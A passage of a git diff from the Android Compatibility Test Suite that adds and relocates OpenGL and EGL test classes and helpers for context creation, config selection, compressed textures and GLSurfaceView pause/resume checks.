+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class CompressedTextureTest {
+    @Rule
+    public ActivityTestRule<CompressedTextureCtsActivity> mActivityRule =
+            new ActivityTestRule<>(CompressedTextureCtsActivity.class, false, false);
+
+    private void launchTest(String format) throws Exception {
+        Intent intent = new Intent(InstrumentationRegistry.getTargetContext(),
+                CompressedTextureCtsActivity.class);
+        intent.putExtra("TextureFormat", format);
+        CompressedTextureCtsActivity activity = mActivityRule.launchActivity(intent);
+        activity.finish();
+        assertTrue(activity.getPassed());
+    }
+
+    @Test
+    public void testTextureUncompressed() throws Exception {
+        launchTest(CompressedTextureLoader.TEXTURE_UNCOMPRESSED);
+    }
+
+    @Test
+    public void testTextureETC1() throws Exception {
+        launchTest(CompressedTextureLoader.TEXTURE_ETC1);
+    }
+
+    @Test
+    public void testTexturePVRTC() throws Exception {
+        launchTest(CompressedTextureLoader.TEXTURE_PVRTC);
+    }
+
+    @Test
+    public void testTextureS3TC() throws Exception {
+        launchTest(CompressedTextureLoader.TEXTURE_S3TC);
+    }
+
+    @Ignore
+    @Test
+    public void testTextureATC() throws Exception {
+        launchTest(CompressedTextureLoader.TEXTURE_ATC);
+    }
+}
diff --git a/tests/tests/opengl/src/android/opengl/cts/Egl10Utils.java b/tests/tests/opengl/src/android/opengl/cts/Egl10Utils.java
new file mode 100644
index 0000000..83aa158
--- /dev/null
+++ b/tests/tests/opengl/src/android/opengl/cts/Egl10Utils.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.opengl.cts;
+
+import android.opengl.EGL14;
+import android.opengl.EGLExt;
+
+import javax.microedition.khronos.egl.EGL10;
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.egl.EGLDisplay;
+
+final class Egl10Utils {
+    private Egl10Utils() {
+    }
+
+    static EGLConfig chooseConfig(EGL10 egl, EGLDisplay display, int[] configSpec) {
+        int[] value = new int[1];
+        if (!egl.eglChooseConfig(display, configSpec, null, 0,
+                value)) {
+            throw new IllegalArgumentException("eglChooseConfig failed");
+        }
+
+        int numConfigs = value[0];
+        if (numConfigs <= 0) {
+            throw new IllegalArgumentException("No configs match configSpec");
+        }
+
+        EGLConfig[] configs = new EGLConfig[numConfigs];
+        if (!egl.eglChooseConfig(display, configSpec, configs, numConfigs, value)) {
+            throw new IllegalArgumentException("eglChooseConfig#2 failed");
+        }
+        EGLConfig config = chooseConfig(egl, display, configs, configSpec);
+        if (config == null) {
+            throw new IllegalArgumentException("No config chosen");
+        }
+        return config;
+    }
+
+    static int[] filterConfigSpec(int[] configSpec, int version) {
+        if (version != 2 && version != 3) {
+            return configSpec;
+        }
+
+        int len = configSpec.length;
+        int[] newConfigSpec = new int[len + 2];
+        System.arraycopy(configSpec, 0, newConfigSpec, 0, len-1);
+
+        newConfigSpec[len-1] = EGL10.EGL_RENDERABLE_TYPE;
+        if (version == 2) {
+            newConfigSpec[len] = EGL14.EGL_OPENGL_ES2_BIT;  /* EGL_OPENGL_ES2_BIT */
+        } else {
+            newConfigSpec[len] = EGLExt.EGL_OPENGL_ES3_BIT_KHR; /* EGL_OPENGL_ES3_BIT_KHR */
+        }
+        newConfigSpec[len + 1] = EGL10.EGL_NONE;
+
+        return newConfigSpec;
+    }
+
+    private static EGLConfig chooseConfig(EGL10 egl, EGLDisplay display,
+            EGLConfig[] configs, int[] configSpec) {
+
+        int redSize = findValue(configSpec, EGL10.EGL_RED_SIZE);
+        int greenSize = findValue(configSpec, EGL10.EGL_GREEN_SIZE);
+        int blueSize = findValue(configSpec, EGL10.EGL_BLUE_SIZE);
+        int alphaSize = findValue(configSpec, EGL10.EGL_ALPHA_SIZE);
+        int depthSize = findValue(configSpec, EGL10.EGL_DEPTH_SIZE);
+        int stencilSize = findValue(configSpec, EGL10.EGL_STENCIL_SIZE);
+
+        for (EGLConfig config : configs) {
+            int d = findConfigAttrib(egl, display, config, EGL10.EGL_DEPTH_SIZE);
+            int s = findConfigAttrib(egl, display, config, EGL10.EGL_STENCIL_SIZE);
+            if ((d >= depthSize) && (s >= stencilSize)) {
+                int r = findConfigAttrib(egl, display, config, EGL10.EGL_RED_SIZE);
+                int g = findConfigAttrib(egl, display, config, EGL10.EGL_GREEN_SIZE);
+                int b = findConfigAttrib(egl, display, config, EGL10.EGL_BLUE_SIZE);
+                int a = findConfigAttrib(egl, display, config, EGL10.EGL_ALPHA_SIZE);
+                if ((r == redSize) && (g == greenSize) && (b == blueSize) && (a == alphaSize)) {
+                    return config;
+                }
+            }
+        }
+        return null;
+    }
+
+    private static int findValue(int[] configSpec, int name) {
+        for (int i = 0; i < configSpec.length; i += 2) {
+            if (configSpec[i] == name) {
+                return configSpec[i + 1];
+            }
+        }
+        return 0;
+    }
+
+    private static int findConfigAttrib(EGL10 egl, EGLDisplay display,
+            EGLConfig config, int attribute) {
+        int[] value = new int[1];
+        if (egl.eglGetConfigAttrib(display, config, attribute, value)) {
+            return value[0];
+        }
+        return 0;
+    }
+}
diff --git a/tests/tests/opengl/src/android/opengl/cts/Egl14Utils.java b/tests/tests/opengl/src/android/opengl/cts/Egl14Utils.java
new file mode 100644
index 0000000..677accc
--- /dev/null
+++ b/tests/tests/opengl/src/android/opengl/cts/Egl14Utils.java
@@ -0,0 +1,169 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.opengl.cts;
+
+import android.opengl.EGL14;
+import android.opengl.EGLConfig;
+import android.opengl.EGLContext;
+import android.opengl.EGLDisplay;
+import android.opengl.EGLExt;
+import android.opengl.EGLSurface;
+import android.opengl.GLES20;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Utilities to test EGL APIs.
+ */
+final class Egl14Utils {
+    private Egl14Utils() {
+    }
+
+    static int getMajorVersion() {
+        // Section 6.1.5 of the OpenGL ES specification indicates the GL version
+        // string strictly follows this format:
+        //
+        // OpenGL<space>ES<space><version number><space><vendor-specific information>
+        //
+        // In addition section 6.1.5 describes the version number thusly:
+        //
+        // "The version number is either of the form major number.minor number or
+        // major number.minor number.release number, where the numbers all have one
+        // or more digits. The release number and vendor specific information are
+        // optional."
+        String version = GLES20.glGetString(GLES20.GL_VERSION);
+        Pattern pattern = Pattern.compile("OpenGL ES ([0-9]+)\\.([0-9]+)");
+        Matcher matcher = pattern.matcher(version);
+        if (matcher.find()) {
+            return Integer.parseInt(matcher.group(1));
+        }
+        return 2;
+    }
+
+    /**
+     * Returns an initialized default display.
+     */
+    static EGLDisplay createEglDisplay() {
+        EGLDisplay eglDisplay = EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY);
+        if (eglDisplay == EGL14.EGL_NO_DISPLAY) {
+            throw new IllegalStateException("no EGL display");
+        }
+
+        int[] major = new int[1];
+        int[] minor = new int[1];
+        if (!EGL14.eglInitialize(eglDisplay, major, 0, minor, 0)) {
+            throw new IllegalStateException("error in eglInitialize");
+        }
+
+        return eglDisplay;
+    }
+
+    /**
+     * Returns a new GL ES 2.0 context for the specified {@code eglDisplay}.
+     */
+    static EGLContext createEglContext(EGLDisplay eglDisplay) {
+        return createEglContext(eglDisplay, getEglConfig(eglDisplay, 2), 2);
+    }
+
+    /**
+     * Returns a new GL ES context for the specified display, config and version.
+     */
+    static EGLContext createEglContext(EGLDisplay eglDisplay, EGLConfig eglConfig, int version) {
+        int[] contextAttributes = { EGL14.EGL_CONTEXT_CLIENT_VERSION, version, EGL14.EGL_NONE };
+        return EGL14.eglCreateContext(eglDisplay, eglConfig,
+                EGL14.EGL_NO_CONTEXT, contextAttributes, 0);
+    }
+
+    /**
+     * Destroys the GL context identified by {@code eglDisplay} and {@code eglContext}.
+     */
+    static void destroyEglContext(EGLDisplay eglDisplay, EGLContext eglContext) {
+        EGL14.eglMakeCurrent(eglDisplay,
+                EGL14.EGL_NO_SURFACE,
+                EGL14.EGL_NO_SURFACE,
+                EGL14.EGL_NO_CONTEXT);
+        int error = EGL14.eglGetError();
+        if (error != EGL14.EGL_SUCCESS) {
+            throw new RuntimeException("error releasing context: " + error);
+        }
+
+        EGL14.eglDestroyContext(eglDisplay, eglContext);
+        error = EGL14.eglGetError();
+        if (error != EGL14.EGL_SUCCESS) {
+            throw new RuntimeException("error destroying context: " + error);
+        }
+    }
+
+    static void releaseAndTerminate(EGLDisplay eglDisplay) {
+        int error;
+        EGL14.eglReleaseThread();
+        error = EGL14.eglGetError();
+        if (error != EGL14.EGL_SUCCESS) {
+            throw new RuntimeException("error releasing thread: " + error);
+        }
+
+        EGL14.eglTerminate(eglDisplay);
+        error = EGL14.eglGetError();
+        if (error != EGL14.EGL_SUCCESS) {
+            throw new RuntimeException("error terminating display: " + error);
+        }
+    }
+
+    static EGLConfig getEglConfig(EGLDisplay eglDisplay, int version) {
+        // Get an EGLConfig.
+        int renderableType = EGL14.EGL_OPENGL_ES2_BIT;
+        if (version == 3) {
+            renderableType = EGLExt.EGL_OPENGL_ES3_BIT_KHR;
+        }
+        final int RED_SIZE = 8;
+        final int GREEN_SIZE = 8;
+        final int BLUE_SIZE = 8;
+        final int ALPHA_SIZE = 8;
+        final int DEPTH_SIZE = 0;
+        final int STENCIL_SIZE = 0;
+        final int[] DEFAULT_CONFIGURATION = new int[] {
+                EGL14.EGL_RENDERABLE_TYPE, renderableType,
+                EGL14.EGL_RED_SIZE, RED_SIZE,
+                EGL14.EGL_GREEN_SIZE, GREEN_SIZE,
+                EGL14.EGL_BLUE_SIZE, BLUE_SIZE,
+                EGL14.EGL_ALPHA_SIZE, ALPHA_SIZE,
+                EGL14.EGL_DEPTH_SIZE, DEPTH_SIZE,
+                EGL14.EGL_STENCIL_SIZE, STENCIL_SIZE,
+                EGL14.EGL_NONE};
+
+        int[] configsCount = new int[1];
+        EGLConfig[] eglConfigs = new EGLConfig[1];
+        if (!EGL14.eglChooseConfig(
+                eglDisplay, DEFAULT_CONFIGURATION, 0, eglConfigs, 0, 1, configsCount, 0)) {
+            throw new RuntimeException("eglChooseConfig failed");
+        }
+        return eglConfigs[0];
+    }
+
+    /**
+     * Checks for a GL error using {@link GLES20#glGetError()}.
+     *
+     * @throws RuntimeException if there is a GL error
+     */
+    static void checkGlError() {
+        int errorCode;
+        if ((errorCode = GLES20.glGetError()) != GLES20.GL_NO_ERROR) {
+            throw new RuntimeException("gl error: " + Integer.toHexString(errorCode));
+        }
+    }
+}
diff --git a/tests/tests/graphics/src/android/opengl/cts/EglConfigCtsActivity.java b/tests/tests/opengl/src/android/opengl/cts/EglConfigCtsActivity.java
similarity index 100%
rename from tests/tests/graphics/src/android/opengl/cts/EglConfigCtsActivity.java
rename to tests/tests/opengl/src/android/opengl/cts/EglConfigCtsActivity.java
diff --git a/tests/tests/graphics/src/android/opengl/cts/EglConfigGLSurfaceView.java b/tests/tests/opengl/src/android/opengl/cts/EglConfigGLSurfaceView.java
similarity index 100%
rename from tests/tests/graphics/src/android/opengl/cts/EglConfigGLSurfaceView.java
rename to tests/tests/opengl/src/android/opengl/cts/EglConfigGLSurfaceView.java
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
new file mode 100644
index 0000000..95ed618
--- /dev/null
+++ b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.opengl.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.content.Intent;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import javax.microedition.khronos.egl.EGL10;
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.egl.EGLContext;
+import javax.microedition.khronos.egl.EGLDisplay;
+
+/**
+ * Test that gets a list of EGL configurations and tries to use each one in a GLSurfaceView.
+ */
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class EglConfigTest {
+    private static final int EGL_OPENGL_ES_BIT = 0x1;
+    private static final int EGL_OPENGL_ES2_BIT = 0x4;
+
+    private Instrumentation mInstrumentation;
+
+    @Rule
+    public ActivityTestRule<EglConfigCtsActivity> mActivityRule =
+            new ActivityTestRule<>(EglConfigCtsActivity.class, false, false);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+    }
+
+    @Test
+    public void testEglConfigs() throws Exception {
+        int[] configIds = getEglConfigIds(EGL_OPENGL_ES_BIT);
+        int[] configIds2 = getEglConfigIds(EGL_OPENGL_ES2_BIT);
+        assertTrue(configIds.length + configIds2.length > 0);
+        runConfigTests(configIds, 1);
+        runConfigTests(configIds2, 2);
+    }
+
+    private void runConfigTests(int[] configIds, int contextClientVersion)
+            throws InterruptedException {
+        for (int configId : configIds) {
+            Intent intent = new Intent(InstrumentationRegistry.getTargetContext(),
+                    EglConfigCtsActivity.class);
+            intent.putExtra(EglConfigCtsActivity.CONFIG_ID_EXTRA, configId);
+            intent.putExtra(EglConfigCtsActivity.CONTEXT_CLIENT_VERSION_EXTRA,
+                    contextClientVersion);
+            EglConfigCtsActivity activity = mActivityRule.launchActivity(intent);
+            activity.waitToFinishDrawing();
+            // TODO(b/30948621): Remove the sleep below once b/30948621 is fixed.
+            Thread.sleep(500);
+            activity.finish();
+            mInstrumentation.waitForIdleSync();
+        }
+    }
+
+    private static int[] getEglConfigIds(int renderableType) {
+        EGL10 egl = (EGL10) EGLContext.getEGL();
+        EGLDisplay display = egl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
+        int[] numConfigs = new int[1];
+
+        int[] attributeList = new int[] {
+                EGL10.EGL_RENDERABLE_TYPE, renderableType,
+
+                // Avoid configs like RGBA0008 which crash even though they have the window bit set.
+                EGL10.EGL_RED_SIZE, 1,
+                EGL10.EGL_GREEN_SIZE, 1,
+                EGL10.EGL_BLUE_SIZE, 1,
+
+                EGL10.EGL_SURFACE_TYPE, EGL10.EGL_WINDOW_BIT,
+                EGL10.EGL_NONE
+        };
+
+        if (egl.eglInitialize(display, null)) {
+            try {
+                if (egl.eglChooseConfig(display, attributeList, null, 0, numConfigs)) {
+                    EGLConfig[] configs = new EGLConfig[numConfigs[0]];
+                    if (egl.eglChooseConfig(display, attributeList, configs, configs.length,
+                            numConfigs)) {
+                        int[] configIds = new int[numConfigs[0]];
+                        for (int i = 0; i < numConfigs[0]; i++) {
+                            int[] value = new int[1];
+                            if (egl.eglGetConfigAttrib(display, configs[i], EGL10.EGL_CONFIG_ID,
+                                    value)) {
+                                configIds[i] = value[0];
+                            } else {
+                              throw new IllegalStateException("Couldn't call eglGetConfigAttrib");
+                            }
+                        }
+                        return configIds;
+                    } else {
+                        throw new IllegalStateException("Couldn't call eglChooseConfig (1)");
+                    }
+                } else {
+                    throw new IllegalStateException("Couldn't call eglChooseConfig (2)");
+                }
+            } finally {
+                egl.eglTerminate(display);
+            }
+        } else {
+            throw new IllegalStateException("Couldn't initialize EGL.");
+        }
+    }
+}
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglContextTest.java b/tests/tests/opengl/src/android/opengl/cts/EglContextTest.java
new file mode 100644
index 0000000..3cfd2d5
--- /dev/null
+++ b/tests/tests/opengl/src/android/opengl/cts/EglContextTest.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.opengl.cts;
+
+import android.opengl.EGL14;
+import android.opengl.EGLContext;
+import android.opengl.EGLDisplay;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests using EGL contexts.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class EglContextTest {
+    /**
+     * Tests creating then releasing an EGL context.
+     */
+    @Test
+    public void testCreateAndReleaseContext() {
+        EGLDisplay eglDisplay = null;
+        EGLContext eglContext = null;
+        try {
+            eglDisplay = Egl14Utils.createEglDisplay();
+            eglContext = Egl14Utils.createEglContext(eglDisplay);
+            Egl14Utils.destroyEglContext(eglDisplay, eglContext);
+            Egl14Utils.releaseAndTerminate(eglDisplay);
+            eglDisplay = null;
+            eglContext = null;
+        } finally {
+            if (eglDisplay != null) {
+                if (eglContext != null) {
+                    EGL14.eglDestroyContext(eglDisplay, eglContext);
+                }
+
+                EGL14.eglTerminate(eglDisplay);
+            }
+        }
+    }
+}
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglSurfacesTest.java b/tests/tests/opengl/src/android/opengl/cts/EglSurfacesTest.java
new file mode 100644
index 0000000..c909eeb
--- /dev/null
+++ b/tests/tests/opengl/src/android/opengl/cts/EglSurfacesTest.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.opengl.cts;
+
+import android.opengl.EGL14;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import javax.microedition.khronos.egl.EGL10;
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.egl.EGLContext;
+import javax.microedition.khronos.egl.EGLDisplay;
+
+import static junit.framework.Assert.fail;
+
+/**
+ * Tests using EGL surfaces.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class EglSurfacesTest {
+    @Test
+    public void testCreatePixmapSurface() {
+        // NOTE: This test must use EGL10, which is why we don't reuse GlTestBase
+        EGL10 egl = (EGL10) EGLContext.getEGL();
+        EGLDisplay display = egl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
+
+        if (display == EGL10.EGL_NO_DISPLAY) {
+            throw new RuntimeException("eglGetDisplay failed");
+        }
+
+        int[] version = new int[2];
+        if (!egl.eglInitialize(display, version)) {
+            throw new RuntimeException("eglInitialize failed");
+        }
+
+        EGLConfig config = Egl10Utils.chooseConfig(egl, display,
+                Egl10Utils.filterConfigSpec(new int[] {
+                        EGL10.EGL_RED_SIZE, 8,
+                        EGL10.EGL_GREEN_SIZE, 8,
+                        EGL10.EGL_BLUE_SIZE, 8,
+                        EGL10.EGL_ALPHA_SIZE, 0,
+                        EGL10.EGL_DEPTH_SIZE, 0,
+                        EGL10.EGL_STENCIL_SIZE, 0,
+                        EGL10.EGL_NONE }, 2)
+        );
+
+        int[] contextAttribs = {
+                EGL14.EGL_CONTEXT_CLIENT_VERSION, 2,
+                EGL10.EGL_NONE
+        };
+
+        EGLContext context = egl.eglCreateContext(display, config,
+                EGL10.EGL_NO_CONTEXT, contextAttribs);
+
+        boolean unsupported = false;
+        try {
+            //noinspection deprecation
+            egl.eglCreatePixmapSurface(display, config, null, null);
+        } catch (UnsupportedOperationException e) {
+            unsupported = true;
+        }
+
+        egl.eglDestroyContext(display, context);
+        egl.eglTerminate(display);
+
+        if (!unsupported) {
+            fail("eglCreatePixmapSurface is supported");
+        }
+    }
+}
diff --git a/tests/tests/opengl/src/android/opengl/cts/FramebufferTest.java b/tests/tests/opengl/src/android/opengl/cts/FramebufferTest.java
index 4ca3a99..a78176f 100644
--- a/tests/tests/opengl/src/android/opengl/cts/FramebufferTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/FramebufferTest.java
@@ -156,9 +156,6 @@
          */
         public static final int FLAG_TRY_GLES3 = 0x02;
 
-        // Android-specific extension.
-        private static final int EGL_RECORDABLE_ANDROID = 0x3142;
-
         private EGLDisplay mEGLDisplay = EGL14.EGL_NO_DISPLAY;
         private EGLContext mEGLContext = EGL14.EGL_NO_CONTEXT;
         private EGLConfig mEGLConfig = null;
@@ -271,7 +268,7 @@
                     EGL14.EGL_NONE
             };
             if ((flags & FLAG_RECORDABLE) != 0) {
-                attribList[attribList.length - 3] = EGL_RECORDABLE_ANDROID;
+                attribList[attribList.length - 3] = EGLExt.EGL_RECORDABLE_ANDROID;
                 attribList[attribList.length - 2] = 1;
             }
             EGLConfig[] configs = new EGLConfig[1];
diff --git a/tests/tests/opengl/src/android/opengl/cts/GLSurfaceViewCtsActivity.java b/tests/tests/opengl/src/android/opengl/cts/GLSurfaceViewCtsActivity.java
new file mode 100644
index 0000000..f38094c
--- /dev/null
+++ b/tests/tests/opengl/src/android/opengl/cts/GLSurfaceViewCtsActivity.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.opengl.cts;
+
+import android.app.Activity;
+import android.opengl.GLSurfaceView;
+import android.os.Bundle;
+import android.view.Window;
+
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.opengles.GL10;
+
+/**
+ * A minimal activity for testing {@link android.opengl.GLSurfaceView}.
+ * Also accepts non-blank renderers to allow its use for more complex tests.
+ */
+public class GLSurfaceViewCtsActivity extends Activity {
+
+    private static class Renderer implements GLSurfaceView.Renderer {
+
+        public void onDrawFrame(GL10 gl) {
+            // Do nothing.
+        }
+
+        public void onSurfaceChanged(GL10 gl, int width, int height) {
+            // Do nothing.
+        }
+
+        public void onSurfaceCreated(GL10 gl, EGLConfig config) {
+            // Do nothing.
+        }
+    }
+
+    private GLSurfaceView mView;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mView = new GLSurfaceView(this);
+        mView.setRenderer(new Renderer());
+        this.requestWindowFeature(Window.FEATURE_NO_TITLE);
+        setContentView(mView);
+    }
+
+    public GLSurfaceView getView() {
+        return mView;
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        mView.onResume();
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+        mView.onPause();
+    }
+}
diff --git a/tests/tests/opengl/src/android/opengl/cts/GLSurfaceViewTest.java b/tests/tests/opengl/src/android/opengl/cts/GLSurfaceViewTest.java
new file mode 100644
index 0000000..54547bd
--- /dev/null
+++ b/tests/tests/opengl/src/android/opengl/cts/GLSurfaceViewTest.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.opengl.cts;
+
+import android.opengl.GLSurfaceView;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for the GLSurfaceView class.
+ */
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class GLSurfaceViewTest {
+
+    private static final int NUM_PAUSE_RESUME_ITERATIONS_WITHOUT_DELAY = 1000;
+
+    private static final int NUM_PAUSE_RESUME_ITERATIONS_WITH_DELAY = 100;
+
+    private static final int PAUSE_RESUME_DELAY = 10;
+
+    private static final boolean LOG_PAUSE_RESUME = false;
+
+    private static final String TAG = "GLSurfaceViewTest";
+
+    private GLSurfaceViewCtsActivity mActivity;
+
+    @Rule
+    public ActivityTestRule<GLSurfaceViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(GLSurfaceViewCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    /**
+     * Test repeated pausing and resuming of a GLSurfaceView with a delay
+     * between iterations.
+     * <p>
+     * This test simply verifies that the system is able to perform multiple
+     * pause/resume sequences without crashing. The delay is used to allow
+     * asynchronous events to occur in between the pause and resume operations.
+     * </p>
+     */
+    @UiThreadTest
+    @Test
+    public void testPauseResumeWithDelay() throws InterruptedException {
+        GLSurfaceView view = mActivity.getView();
+        for (int i = 0; i < NUM_PAUSE_RESUME_ITERATIONS_WITH_DELAY; i++) {
+            Thread.sleep(PAUSE_RESUME_DELAY);
+            if (LOG_PAUSE_RESUME) {
+                Log.w(TAG, "Pause/Resume (w/ delay) step " + i + " - pause");
+            }
+            view.onPause();
+            Thread.sleep(PAUSE_RESUME_DELAY);
+            if (LOG_PAUSE_RESUME) {
+                Log.w(TAG, "Pause/Resume (w/ delay) step " + i + " - resume");
+            }
+            view.onResume();
+        }
+    }
+
+    /**
+     * Test repeated pausing and resuming of a GLSurfaceView.
+     * <p>
+     * This test simply verifies that the system is able to perform multiple
+     * pause/resume sequences without crashing. No delay is used so that a
+     * larger number of iterations can be done in a short amount of time.
+     * </p>
+     */
+    @UiThreadTest
+    @Test
+    public void testPauseResumeWithoutDelay() {
+        GLSurfaceView view = mActivity.getView();
+        for (int i = 0; i < NUM_PAUSE_RESUME_ITERATIONS_WITHOUT_DELAY; i++) {
+            if (LOG_PAUSE_RESUME) {
+                Log.w(TAG, "Pause/Resume (no delay) step " + i + " - pause");
+            }
+            view.onPause();
+            if (LOG_PAUSE_RESUME) {
+                Log.w(TAG, "Pause/Resume (no delay) step " + i + " - resume");
+            }
+            view.onResume();
+        }
+    }
+}
diff --git a/tests/tests/opengl/src/android/opengl/cts/GlTestBase.java b/tests/tests/opengl/src/android/opengl/cts/GlTestBase.java
new file mode 100644
index 0000000..2350b40
--- /dev/null
+++ b/tests/tests/opengl/src/android/opengl/cts/GlTestBase.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.opengl.cts;
+
+import android.opengl.EGLConfig;
+import android.opengl.EGLContext;
+import android.opengl.EGLDisplay;
+import android.opengl.EGLSurface;
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.rules.Timeout;
+
+import static android.opengl.EGL14.EGL_HEIGHT;
+import static android.opengl.EGL14.EGL_NONE;
+import static android.opengl.EGL14.EGL_NO_CONTEXT;
+import static android.opengl.EGL14.EGL_NO_DISPLAY;
+import static android.opengl.EGL14.EGL_NO_SURFACE;
+import static android.opengl.EGL14.EGL_SUCCESS;
+import static android.opengl.EGL14.EGL_WIDTH;
